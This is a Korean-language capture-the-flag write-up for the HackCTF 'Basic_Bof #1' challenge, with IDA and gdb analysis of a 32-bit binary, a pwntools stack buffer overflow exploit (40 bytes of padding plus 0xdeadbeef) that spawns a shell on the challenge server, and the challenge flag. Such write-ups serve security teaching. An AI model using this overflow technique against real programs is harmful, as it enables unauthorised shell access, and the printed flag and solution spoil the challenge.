[HackCTF] Basic_Bof #1

[문제]

---

[풀이]

• 2bit 바이너리
• 카나리 없음
• NX bit 존재
• PIE 없음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]@1
  int v5; // [esp+2Ch] [ebp-Ch]@1

  v5 = 0x4030201;
  fgets(&s, 45, stdin);
  printf("\\n[buf]: %s\\n", &s);
  printf("[check] %p\\n", v5);
  if ( v5 != 0x4030201 && v5 != 0xDEADBEEF )
    puts("\\nYou are on the right way!");
  if ( v5 == 0xDEADBEEF )
  {
    puts("Yeah dude! You win!\\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

• v5에 0x4030201의 값이 할당되어 있으나 이를 0xdeadbeef로 바꿔야 shell 획득 가능

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080484cb <+0>:	lea    ecx,[esp+0x4]
   0x080484cf <+4>:	and    esp,0xfffffff0
   0x080484d2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:	push   ebp
   0x080484d6 <+11>:	mov    ebp,esp
   0x080484d8 <+13>:	push   ecx
   0x080484d9 <+14>:	sub    esp,0x34
   0x080484dc <+17>:	mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:	mov    eax,ds:0x804a040
   0x080484e8 <+29>:	sub    esp,0x4
   0x080484eb <+32>:	push   eax
   0x080484ec <+33>:	push   0x2d
   0x080484ee <+35>:	lea    eax,[ebp-0x34]
   0x080484f1 <+38>:	push   eax
   0x080484f2 <+39>:	call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:	add    esp,0x10
   0x080484fa <+47>:	sub    esp,0x8
   0x080484fd <+50>:	lea    eax,[ebp-0x34]
   0x08048500 <+53>:	push   eax
   0x08048501 <+54>:	push   0x8048610
   0x08048506 <+59>:	call   0x8048370 <printf@plt>
   0x0804850b <+64>:	add    esp,0x10
   0x0804850e <+67>:	sub    esp,0x8
   0x08048511 <+70>:	push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:	push   0x804861c
   0x08048519 <+78>:	call   0x8048370 <printf@plt>
   0x0804851e <+83>:	add    esp,0x10
   0x08048521 <+86>:	cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:	je     0x8048543 <main+120>
   0x0804852a <+95>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:	je     0x8048543 <main+120>
   0x08048533 <+104>:	sub    esp,0xc
   0x08048536 <+107>:	push   0x8048628
   0x0804853b <+112>:	call   0x8048390 <puts@plt>
   0x08048540 <+117>:	add    esp,0x10
   0x08048543 <+120>:	cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:	jne    0x804857c <main+177>
   0x0804854c <+129>:	sub    esp,0xc
   0x0804854f <+132>:	push   0x8048644
   0x08048554 <+137>:	call   0x8048390 <puts@plt>
   0x08048559 <+142>:	add    esp,0x10
   0x0804855c <+145>:	sub    esp,0xc
   0x0804855f <+148>:	push   0x804866e
   0x08048564 <+153>:	call   0x80483a0 <system@plt>
   0x08048569 <+158>:	add    esp,0x10
   0x0804856c <+161>:	sub    esp,0xc
   0x0804856f <+164>:	push   0x8048678
   0x08048574 <+169>:	call   0x8048390 <puts@plt>
   0x08048579 <+174>:	add    esp,0x10
   0x0804857c <+177>:	mov    eax,0x0
   0x08048581 <+182>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:	leave  
   0x08048585 <+186>:	lea    esp,[ecx-0x4]
   0x08048588 <+189>:	ret    
End of assembler dump.

• main+44에 bp 걸어 임의의 입력값 할당

 

• 0xffffd184에 입력 값 저장됨

 

문제 해결

💡dummy(40) + 0xdeadbeef

 

Python2

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3000)

payload = "a"*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

 

Python3

from pwn import *

p=remote('ctf.j0n9hyun.xyz', 3000)

payload = b"a"*40 + p32(0xdeadbeef)

p.sendline(payload)
p.interactive()

 

---

flag

🍒 HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}